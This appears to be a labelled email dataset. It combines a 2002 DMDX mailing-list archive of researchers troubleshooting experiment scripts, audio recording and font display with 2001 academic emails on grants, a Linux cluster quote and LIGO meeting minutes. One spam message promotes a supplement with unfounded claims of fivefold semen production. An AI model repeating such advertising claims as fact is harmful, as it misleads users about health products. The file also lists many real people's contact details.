Thu, 12 Dec 2002 15:13:41 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] thread 1.4.00 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Not that I'm condoning the HTML postings to the list that have been becoming more and more frequent lately but it's pretty irritating not having the list serv threader display them correctly so I changed it to handle them. Well some of them anyway, I notice Derek Eder's HTML is still pretty much gibberish but those are multi part postings so the plain text that occurs first is readable. Hopefully I didn't bust anything else while doing this. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""The first rule of magic is simple. Don't waste your time waving your hands and hoping when a rock or a club will do."" - McCloctnik the Lucid >From DMDX-owner@psy1.psych.arizona.edu Fri Dec 13 03:26:48 2002 Received: from mail-d.bcc.ac.uk (mail-d.bcc.ac.uk [144.82.100.24]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gBDAP8MS018267 for ; Fri, 13 Dec 2002 03:25:09 -0700 Received: from mail-e.bcc.ac.uk by mail-d.bcc.ac.uk with SMTP (Mailer) with ESMTP; Fri, 13 Dec 2002 10:19:22 +0000 Received: from morpheus (actually host ah7.psychol.ucl.ac.uk) by mail-e.bcc.ac.uk with SMTP (Mailer); Fri, 13 Dec 2002 10:16:10 +0000 Message-Id: <3.0.6.32.20021213102000.023c3c68@aix-150.ion.ucl.ac.uk> Date: Fri, 13 Dec 2002 10:20:00 +0000 To: DMDX@psy1.psych.arizona.edu From: Antonia Hamilton Subject: [DMDX] Re: keyboard remapping In-Reply-To: <5.1.0.14.2.20021211101123.00b13448@psy1.psych.arizona.edu> References: <3.0.6.32.20021211163216.02502848@aix-150.ion.ucl.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is probably a very silly question, but I'm trying to remap the positive and negative response keys to the up and down arrows on my keyboard, which TimeDX tells me are #200 and #208. So the first line of my script is: f3 s72 But when I syntax check that I get the error Button name <+#200> not found on input devices So what am I doing wrong? Other key re-mappings, like work fine. Thanks for your help, Antonia. ================================================ Antonia Hamilton Institute of Cognitive Neuroscience Alexandra House, 17 Queen Square London, WC1N 3AR Tel. +44 (0) 20 7679 1138 ================================================ >From DMDX-owner@psy1.psych.arizona.edu Fri Dec 13 11:43:47 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gBDIhPMS018920 for ; Fri, 13 Dec 2002 11:43:25 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DF9D6910000C925 for DMDX@psy1.psych.arizona.edu; Fri, 13 Dec 2002 11:37:41 -0700 Message-Id: <5.1.0.14.2.20021213110041.00b13460@psy1.psych.arizona.edu> Date: Fri, 13 Dec 2002 11:37:40 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: keyboard remapping In-Reply-To: <3.0.6.32.20021213102000.023c3c68@aix-150.ion.ucl.ac.uk> References: <5.1.0.14.2.20021211101123.00b13448@psy1.psych.arizona.edu> <3.0.6.32.20021211163216.02502848@aix-150.ion.ucl.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:20 AM 12/13/2002 +0000, you wrote: >This is probably a very silly question, but I'm trying to remap the >positive and negative response keys to the up and down arrows on my >keyboard, which TimeDX tells me are #200 and #208. So the first line of my >script is: > >f3 s72 +#200> > >But when I syntax check that I get the error > >Button name <+#200> not found on input devices > >So what am I doing wrong? Other key re-mappings, like work fine. You need to use the #keyboard device () if you are going to use button numbers. But then +h won't work, I guess you could load both devices (never tried it) however the usual solution is to use the regular keyboard device with and to use the arrow key names with and so on. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""The first rule of magic is simple. Don't waste your time waving your hands and hoping when a rock or a club will do."" - McCloctnik the Lucid >From DMDX-owner@psy1.psych.arizona.edu Mon Dec 16 09:51:05 2002 Received: from fed1mtao03.cox.net (fed1mtao03.cox.net [68.6.19.242]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gBGGfMMS022597 for ; Mon, 16 Dec 2002 09:41:22 -0700 Received: from matthew ([68.0.190.205]) by fed1mtao03.cox.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20021216163523.ISCG4125.fed1mtao03.cox.net@matthew> for ; Mon, 16 Dec 2002 11:35:23 -0500 From: ""Matthew Finkbeiner"" To: Subject: [DMDX] RT feedback Date: Mon, 16 Dec 2002 09:43:34 -0700 Message-ID: <000001c2a522$461a6040$cdbe0044@tc.ph.cox.net> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I seem to remember that there's a way to suppress the decimal points in the RT feedback but a quick scan through the help files didn't turn anything up. anyone? Matthew >From DMDX-owner@psy1.psych.arizona.edu Mon Dec 16 10:03:18 2002 Received: from gold.csi.cam.ac.uk (gold.csi.cam.ac.uk [131.111.8.12]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gBGH2sMS022680 for ; Mon, 16 Dec 2002 10:02:55 -0700 Received: from sjb90.trin.cam.ac.uk ([131.111.212.253] helo=sjb90) by gold.csi.cam.ac.uk with smtp (Exim 4.10) id 18NyY8-0000uW-00 for DMDX@psy1.psych.arizona.edu; Mon, 16 Dec 2002 16:57:00 +0000 From: ""Stuart Bell"" To: Subject: [DMDX] RE: RT feedback Date: Mon, 16 Dec 2002 16:57:12 -0000 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit In-Reply-To: <000001c2a522$461a6040$cdbe0044@tc.ph.cox.net> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list On Monday 16th December 2002, Matthew Finkbeiner wrote... > I seem to remember that there's a way to suppress the decimal points > in the RT feedback but a quick scan through the help files didn't > turn anything up. anyone? I think you want the feedback precision keyword, with which you can specify the number of decimal places to be used for feedback: Hope that helps! Stuart. -- Stuart Bell Trinity College & Department of Experimental Psychology University of Cambridge (UK) >From DMDX-owner@psy1.psych.arizona.edu Wed Dec 18 13:14:25 2002 Received: from smtp3.wiscmail.wisc.edu (blitzen.doit.wisc.edu [144.92.197.183]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gBIKDPMS025513 for ; Wed, 18 Dec 2002 13:13:25 -0700 Received: from conversion-daemon.smtp3.doit.wisc.edu by smtp3.doit.wisc.edu (iPlanet Messaging Server 5.2 HotFix 1.05 (built Nov 6 2002)) id <0H7B00K01ZR8NB@smtp3.doit.wisc.edu> for DMDX@psy1.psych.arizona.edu; Wed, 18 Dec 2002 14:07:24 -0600 (CST) Received: from CurtinOffice (b187.psych.wisc.edu [144.92.195.187]) by smtp3.doit.wisc.edu (iPlanet Messaging Server 5.2 HotFix 1.05 (built Nov 6 2002)) with SMTP id <0H7B00E8TZV2BM@smtp3.doit.wisc.edu> for DMDX@psy1.psych.arizona.edu; Wed, 18 Dec 2002 14:06:38 -0600 (CST) Date: Wed, 18 Dec 2002 14:03:40 -0600 From: ""John J. Curtin"" Subject: [DMDX] recording length with recordvocal To: DMDX@psy1.psych.arizona.edu Message-id: MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Jonathan, I am continuing to have problems with recordvocal device running this code: d30 f1 0 ""Press SPACE START""; 0 /c; +1 * ""RED"" / /; +2 * ""BLUE""/ /; +3 * ""TOE"" / /; +4 * ""GREEN"" / /; +5 * ""GREEN"" / /; 0 ""Experiment Complete!"", ""Thank you for your participation.""; The wav files generated with this code are approximately 600ms long rather than the 1500 ms indicated in the timeout. I have read through the recent posts on this. I know you suggested that the length would not exactly match the timeout but this seems a big departure? I am running v3.0.0.13 (downloaded today). OS is win2k. If the problem is with the use of recordvocal in legacy mode, it may be possible to change. However, I would need to have DMDX continue to record for a relatively long time after trigger to be certain to get the full vocalization. Maybe something like If I did this, will DMDX wait until the recording is complete before proceeding to the next trial or will it still only wait the 1500 ms time out (the latter is what I would want)? In other words, if for example a subject triggered the digitalvox at 1200ms would the DMDX wait until 1700 (1200 + 500) until going to the next item? Thanks J John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 W. Johnson St. Madison, WI 53706 Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Email: jjcurtin@wisc.edu >From DMDX-owner@psy1.psych.arizona.edu Wed Dec 18 16:42:58 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gBINgLMS025773 for ; Wed, 18 Dec 2002 16:42:21 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3E006F590001A2C8 for DMDX@psy1.psych.arizona.edu; Wed, 18 Dec 2002 16:36:20 -0700 Message-Id: <5.1.0.14.2.20021218145340.00b13398@psy1.psych.arizona.edu> Date: Wed, 18 Dec 2002 16:36:19 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: recording length with recordvocal In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:03 PM 12/18/2002 -0600, you wrote: >Jonathan, > >I am continuing to have problems with recordvocal device running this code: > > d30 f1 keyboard> >0 ""Press SPACE START""; >0 /c; >+1 * ""RED"" / /; >+2 * ""BLUE""/ /; >+3 * ""TOE"" / /; >+4 * ""GREEN"" / /; >+5 * ""GREEN"" / /; >0 ""Experiment Complete!"", ""Thank you for your >participation.""; > >The wav files generated with this code are approximately 600ms long rather >than the 1500 ms indicated in the timeout. I have read through the recent >posts on this. I know you suggested that the length would not exactly match >the timeout but this seems a big departure? I am running v3.0.0.13 >(downloaded today). OS is win2k. That's a bigger departure than I saw but then I don't have your hardware nor did I ever find out why I couldn't get it record for exactly the right length of time so it doesn't really surprise me that the variation can be larger than I observed. You might try altering the second parameter to RecordVocal (leaving the first zero) and see if that clears things up, long values and short and in between values as well should be tried. >If the problem is with the use of recordvocal in legacy mode, It's likely to be. > it may be >possible to change. However, I would need to have DMDX continue to record >for a relatively long time after trigger to be certain to get the full >vocalization. Maybe something like If I did this, >will DMDX wait until the recording is complete before proceeding to the next >trial or will it still only wait the 1500 ms time out (the latter is what I >would want)? It will wait till the recording is complete. Well, it did for me anyway ;) This is in fact the thing that is causing all the problems for numerous technical reasons, making DMDX hang around waiting for something that now never stops but instead needs to be ignored beyond a certain time period and then flushed to disk is a right pain. Beforehand the buffer either shut itself down (legacy RecordVocal mode) or it was outright ignored when only the DigitalVox was used. Now there are something like twenty different conditions that can mark the end of the item and tweaking it is no fun. > In other words, if for example a subject triggered the >digitalvox at 1200ms would the DMDX wait until 1700 (1200 + 500) until going >to the next item? Give or take some fraction of 100ms on my hardware, yes. YMMV and I might have start mucking with RecordVocal all over again. I sure hope so. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""The first rule of magic is simple. Don't waste your time waving your hands and hoping when a rock or a club will do."" - McCloctnik the Lucid >From DMDX-owner@psy1.psych.arizona.edu Thu Dec 19 09:09:25 2002 Received: from smtp1.wiscmail.wisc.edu (dasher.doit.wisc.edu [144.92.197.145]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gBJG8AMS026622 for ; Thu, 19 Dec 2002 09:08:11 -0700 Received: from conversion-daemon.smtp1.doit.wisc.edu by smtp1.doit.wisc.edu (iPlanet Messaging Server 5.2 HotFix 1.05 (built Nov 6 2002)) id <0H7D00E01IS0ER@smtp1.doit.wisc.edu> for DMDX@psy1.psych.arizona.edu; Thu, 19 Dec 2002 10:01:55 -0600 (CST) Received: from CurtinOffice (b187.psych.wisc.edu [144.92.195.187]) by smtp1.doit.wisc.edu (iPlanet Messaging Server 5.2 HotFix 1.05 (built Nov 6 2002)) with SMTP id <0H7D00K4MJ5FCN@smtp1.doit.wisc.edu> for DMDX@psy1.psych.arizona.edu; Thu, 19 Dec 2002 10:00:51 -0600 (CST) Date: Thu, 19 Dec 2002 09:57:51 -0600 From: ""John J. Curtin"" Subject: [DMDX] RE: Re: recording length with recordvocal In-reply-to: <5.1.0.14.2.20021218145340.00b13398@psy1.psych.arizona.edu> To: DMDX@psy1.psych.arizona.edu Message-id: MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list A quick follow-up on the problem with Recordvocal.. Changing from to fixes the problem with recording length to within tolerance (i.e., approx 1.47 s with a timeout of 1500ms) FYI the duration is variable ranging from about 1.46 to 1.49 across four test runs. Interestingly, it seems to be consistent at 1.49 if no response is detected for an item. Does changing the overrun buffer from the default to 1500 have any other effects on the script that I need to be aware of (in particular, any impact on item timing?) Thanks J John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 W. Johnson St. Madison, WI 53706 Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Email: jjcurtin@wisc.edu -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Jonathan C. Forster Sent: Wednesday, December 18, 2002 5:36 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: recording length with recordvocal At 02:03 PM 12/18/2002 -0600, you wrote: >Jonathan, > >I am continuing to have problems with recordvocal device running this code: > > d30 f1 keyboard> >0 ""Press SPACE START""; >0 /c; >+1 * ""RED"" / /; >+2 * ""BLUE""/ /; >+3 * ""TOE"" / /; >+4 * ""GREEN"" / /; >+5 * ""GREEN"" / /; >0 ""Experiment Complete!"", ""Thank you for your >participation.""; > >The wav files generated with this code are approximately 600ms long rather >than the 1500 ms indicated in the timeout. I have read through the recent >posts on this. I know you suggested that the length would not exactly match >the timeout but this seems a big departure? I am running v3.0.0.13 >(downloaded today). OS is win2k. That's a bigger departure than I saw but then I don't have your hardware nor did I ever find out why I couldn't get it record for exactly the right length of time so it doesn't really surprise me that the variation can be larger than I observed. You might try altering the second parameter to RecordVocal (leaving the first zero) and see if that clears things up, long values and short and in between values as well should be tried. >If the problem is with the use of recordvocal in legacy mode, It's likely to be. > it may be >possible to change. However, I would need to have DMDX continue to record >for a relatively long time after trigger to be certain to get the full >vocalization. Maybe something like If I did this, >will DMDX wait until the recording is complete before proceeding to the next >trial or will it still only wait the 1500 ms time out (the latter is what I >would want)? It will wait till the recording is complete. Well, it did for me anyway ;) This is in fact the thing that is causing all the problems for numerous technical reasons, making DMDX hang around waiting for something that now never stops but instead needs to be ignored beyond a certain time period and then flushed to disk is a right pain. Beforehand the buffer either shut itself down (legacy RecordVocal mode) or it was outright ignored when only the DigitalVox was used. Now there are something like twenty different conditions that can mark the end of the item and tweaking it is no fun. > In other words, if for example a subject triggered the >digitalvox at 1200ms would the DMDX wait until 1700 (1200 + 500) until going >to the next item? Give or take some fraction of 100ms on my hardware, yes. YMMV and I might have start mucking with RecordVocal all over again. I sure hope so. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""The first rule of magic is simple. Don't waste your time waving your hands and hoping when a rock or a club will do."" - McCloctnik the Lucid ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Thu Dec 19 10:46:06 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gBJHjMMS026783 for ; Thu, 19 Dec 2002 10:45:22 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3E01C0A5000097E3 for DMDX@psy1.psych.arizona.edu; Thu, 19 Dec 2002 10:39:20 -0700 Message-Id: <5.1.0.14.2.20021219103309.00b2dee0@psy1.psych.arizona.edu> Date: Thu, 19 Dec 2002 10:39:19 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] RE: Re: recording length with recordvocal In-Reply-To: References: <5.1.0.14.2.20021218145340.00b13398@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:57 AM 12/19/2002 -0600, you wrote: >A quick follow-up on the problem with Recordvocal.. > >Changing from to fixes the problem >with recording length to within tolerance (i.e., approx 1.47 s with a >timeout of 1500ms) FYI the duration is variable ranging from about 1.46 to >1.49 across four test runs. Interestingly, it seems to be consistent at >1.49 if no response is detected for an item. That variation is consistent with my results. I notice you have the DigitalVox definition before the RecordVocal definition, you might try reversing them and removing the RecordVocal parameters just to see if the problem goes away. >Does changing the overrun buffer from the default to 1500 have any other >effects on the script that I need to be aware of (in particular, any impact >on item timing?) No, it simply chews up a bunch of system memory, something like 3 * 1.5 * 22050 * 2 bytes which is 200K, no big deal these days. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""The first rule of magic is simple. Don't waste your time waving your hands and hoping when a rock or a club will do."" - McCloctnik the Lucid >From DMDX-owner@psy1.psych.arizona.edu Mon Dec 23 02:37:46 2002 Received: from hkusua.hku.hk (hkue10ka.hku.hk [147.8.2.91]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gBN9VbMS031523 for ; Mon, 23 Dec 2002 02:31:39 -0700 Received: from webmaila.hku.hk (webmaila-ge.hku.hk [147.8.145.200]) by hkusua.hku.hk (8.11.4/8.11.4) with ESMTP id gBN9PLm04554 for ; Mon, 23 Dec 2002 17:25:21 +0800 (HKT) Date: Mon, 23 Dec 2002 17:25:21 +0800 From: ""Wan Mei Po, Mabel"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Cannot display Cantonese characters Message-ID: <3E07D6B2@webmaila.hku.hk> Mime-Version: 1.0 Content-Type: text/plain; charset=""ISO-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear all, I am conducting an experiment in which participants are required to read aloud some Cantonese characters. Even though I have downloaded the respective fonts in the computer, the Cantonese characters cannot be displayed on running DMDX. Curiously, they can be displayed in the syntax with wordpad. What could possibly be the reasons for such a case? How could it be solved? Moreover, are there any limits in the number of stimulus items to be displayed? Regards, Mabel Wan >From DMDX-owner@psy1.psych.arizona.edu Mon Dec 23 05:59:41 2002 Received: from sirius.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [193.63.252.1]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gBNCxAMS032166 for ; Mon, 23 Dec 2002 05:59:11 -0700 Received: from [193.63.253.89] (helo=pc057.mrc-cbu.cam.ac.uk) by sirius.mrc-cbu.cam.ac.uk with esmtp (Exim 3.36 #2) id 18QS4k-000046-00 for DMDX@psy1.psych.arizona.edu; Mon, 23 Dec 2002 12:52:55 +0000 Message-Id: <5.1.0.14.2.20021223124714.01baa5f0@pophost.mrc-cbu.cam.ac.uk> Date: Mon, 23 Dec 2002 12:52:51 +0000 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Re: Cannot display Cantonese characters In-Reply-To: <3E07D6B2@webmaila.hku.hk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Are you running in full Chinese Windows, Chinese Enabled Windows (if this exists) or English Windows? We have found that with Arabic, DMDX works best with Arabic Enabled Windows. With English Windows the characters are not displayed correctly, with Arabic Windows, there are lots of font/character defaults that mess up DMDX. I suggest you have a scan through the old messages and find people who are doing experiments in Chinese and ask them what they do. I will ask someone here who does work on Chinese. Also it may make a difference whether you are using the Simplified Chinese character set. - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 311 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 311 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo >From DMDX-owner@psy1.psych.arizona.edu Mon Dec 23 10:13:21 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gBNHCwMS000475 for ; Mon, 23 Dec 2002 10:12:58 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-161.dakotacom.arizona.edu [150.135.175.161]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id gBNH6gRs002323 for ; Mon, 23 Dec 2002 10:06:42 -0700 (MST) Message-Id: <5.1.0.14.2.20021223100558.00b2c038@psy1.psych.arizona.edu> Date: Mon, 23 Dec 2002 10:06:37 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Cannot display Cantonese characters In-Reply-To: <5.1.0.14.2.20021223124714.01baa5f0@pophost.mrc-cbu.cam.ac. uk> References: <3E07D6B2@webmaila.hku.hk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list It also matters what operating system you use, we find Windows 2000 or XP are the only ones that work reliably. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Fairy Tale, n.: A horror story to prepare children for the newspapers.",0,1 Geraldine Russell ,"""Churchill, Christopher W."" , ""Churchill, Deneyse Janet"" ","Thu, 04 Jan 2001 08:59:06 -0500",Fwd: Space-related BBSs,"Hi Deneyse and Chris, An engineer and space enthusiast, Patrick McGrath, stopped by the office while he was in the Frear Building on other business. (His keychain holds an ""Embrace Space"" tag.) He asked me to pass on the information about the bulletin boards to you. Best wishes, Geraldine >X-Originating-IP: [208.22.30.62] >X-PH: V4.1@f05n13 >From: ""Patrick McGrath"" >To: gsr1@psu.edu >Subject: Space-related BBSs >Date: Wed, 03 Jan 2001 19:25:55 -0500 >X-OriginalArrivalTime: 04 Jan 2001 00:25:55.0474 (UTC) >FILETIME=[E6FD7F20:01C075E4] > >Dear Ms. Russel, > >I was very pleased to meet and speak with you about the Spage Grant >Consortium this morning. As promised, the following are Web addresses of >two bulletin board services dedicated (more or less) to Space Science. > >The first is operated (and allegedly moderated) by MSNBC: > >http://bbs.msnbc.com/bbs/msnbc-space/index.asp > >As I haphazardly explained in your office, there are as many fringe cases >of one sort or another as there are serious space enthusiasts and >professionals. On the other hand, even the strangest posts sometimes make >for fun reading! > >The second was established by a few of the regulars fromthe MSNBC bulletin >board who wanted a refuge from the ""Cydonuts"", UFO-nuts and others of that >ilk. It is privately moderated and (usually) stays on topic - many of its >regular contributors are professionals in the aerospace industry - a >couple of them work for NASA. > >http://disc.server.com/Indices/131070.html > >Rather than sending a blind email to people I who haven;t met me, I will >ask you to linkdly pass on the above URLs to the Churchill's, who are >teaching STS 4971 this spring. They and their students may find both BBSs >an interesting public forum in which to share ideas and gain insight. Of >recent special interest on both BBSs: a lengthy discussion, much of it >cogent, on the Fermi Paradox, the Drake Equation, and the motivation >behind various possible human reactions to a discovery of ETI, should one >be made. > >Enjoy! > >Patrick McGrath >_________________________________________________________________ >Get your FREE download of MSN Explorer at http://explorer.msn.com > Geraldine Russell Assistant Director Pennsylvania Space Grant Consortium 101 S. Frear Lab Penn State University Park, PA 16802 Phone: (814) 863-5957 FAX: (814) 863-8286 Email: gsr1@psu.edu",0,1 """Vincelli, Diana"" ","""Myers, William"" , ""Radice, Gary"" , ""Gilfoyle, Gerard"" ","Fri, 12 Jan 2001 15:57:35 -0500",NSF-RUI Impact statement,"Hi- For the NSF-MRI application, you will need an RUI Impact statement and an RUI certification. Also mention RUI in the title (thanks to Bill who just spoke w/the Chem program officer). The statement is attached, and you may modify as you see fit to put in the latest statistics from your department. I have also attached a statement about the Science Initiative which should also be included. I just talked to Andy today about whether there might be more specific info we can include about the science center, and we will get that statement closer to the deadline I guess. Meanwhile we can use this. The RUI certification is a form that Herb must sign, so I will take care of that when he signs the cover sheets. <> <> Diana Thompson Vincelli Associate Director Office of Foundation & Government Grants Room G-14, Maryland Hall University of Richmond, VA 23173 804/289-8005, 804/287-6491 fax dvincell@richmond.edu www.richmond.edu/~grants",0,0 Andrew FZ Cantor ,manuela@tartan.richmond.edu,"Sun, 14 Jan 2001 16:52:38 +0800",want to make a baby? kaceg,"SPUR-M Formula You can increase semen production five times Blast five times your load and have longer more satisfying orgasms. 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The address I meant to write is: http://www.cs.iastate.edu/~leavens/ui181/WWW/index.shtml Gary --------------5BED98D5CD085F2D46A40876-- ",0,1 """Michael F. Vineyard"" ",gilfoyle ,"Sun, 21 Jan 2001 10:21:11 -0500",nsf guidelines,"yo jerry, i've attached 2 pages from the nsf mri guidelines that describe what should go into the section on description of research instrumentation needs. i'm working on the impact and management plan sections now. later mike ",0,0 Old El Paso ,ggilfoyl@facstaff.richmond.edu,"Sun, 21 Jan 2001 12:00:23 -0500",Looking For a Fun Meal that the Kids Will Love?,<1;0xHAoc89cQUo4;1852195>,1,1 gilfoyle ,sales@valinux.com,"Mon, 22 Jan 2001 00:42:53 -0800",desired system,"Dear VA Linux Systems Representative: I am a physicist at the University of Richmond and we are in the process of developing a 'supercomputing' cluster to support our research in nuclear and particle physics. I was wondering if you could provide us with a quote for such a system and answer a few questions about creating such a computer cluster. The system we envision would consist of the following items. 1. 20, dual-Pentium, rack-mountable, linux workstations. Your model 1220 seems like an appropriate choice. We would require 512 MByte of RAM in each machine plus about 36 GByte of disk space. 2. 2-3 TByte of disk space. Your model 4450 database server looks like the type of device we want. We want it to also be rack-mountable. 3. 24-port router. We already have a smaller, 12-node cluster with a 24-port router, but would presumably require a second one. We would like to put all the machines (old and new) on the same subnet for security reasons. Is it possible to daisy-chain routers together or do we need to get a new, larger one to handle all 32 nodes? 4. Two 21-inch monitors and a switch so that we can quickly and easily view the output from any single node. 5. Backup power supplies. 6. Racks to hold it all. Any help you can provide us would be greatly appreciated. My contact information is below. Thanks-in-advance, Jerry Gilfoyle -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,0 Francisco Chinchilla ,"""Gerard P. Gilfoyle"" ","Mon, 22 Jan 2001 18:57:21 -0500",RE: bbftp,"I installed it on psc1 over the weekend. This is the transfer rate I got today at 6:30is pm 521593200 bytes got in 441 secs (1.15e+03 Kbytes/sec or 9.01 Mbits/s) The # of bytes is ~ 73 Megs. This is ~2.5 times faster than the avg SCP1 btwn machines ON CAMPUS This is ~10 times faster than SCP2 ON CAMPUS This is ~10 times slower than FTP ON CAMPUS Taking into acct that it is faster than SCP1 btwn our own campus tells me that this is a good way to go. 9 Mbits is a good transfer rate. I will start transferring a 2 GIG file and see how that goes, but the speeds look very to good me. The only downside was that I was not able to write to the /work disk, but I am sure I am not supposed to be able to do that (I only installed the client on psc1, not the server). If you want the previous email with the speeds for ON CAMPUS transfers, I sent it 12/9/00. Hope this helps. Francisco Chinchilla ",0,0 Alan Wiseman ,"weiss@ligo.mit.edu, lazzarini_a@ligo.caltech.edu","Tue, 23 Jan 2001 22:27:44 -0600",minutes of white paper meeting,"------------------------------------------------------------- Minutes of ``The Committee to rewrite the LSC Data analysis White Paper''. Alan Wiseman 23 January 2001 at 3:30pm central. Rai Weiss Albert Lazzarini Tom Nash Alan Weinstein Stuart Anderson Alan Wiseman The consversation was free wheeling and the moderator lost control early, but the highlights of the meeting were: 1) The committee will revist the entire paper: all sections. This is broader scope than Rai was thinking, but there is a general consensus that this is necessary. 2) Rai emphasized the need to address the long range vision of the science. [This is in the current version, but he feels it is inadequate.] 3) General concensus that the hardwiring of tasks to people was important, but the White Paper is not the place for it. It should be removed from White Paper and kept on a web-page or a living LSC document. 4) To what extent the White Paper should address the allocation resources was discussed with no hard concensus. 5) The committee agreed on a skeleton of a rewrite strategy: 5.a) Attack by parts: Alan Wiseman and Stuart Anderson Chapter 2,3,4 (the science) and also parts chapter 9 dealing with the science ``vision thing''. Chapter 5 and 6. Keith and Alan 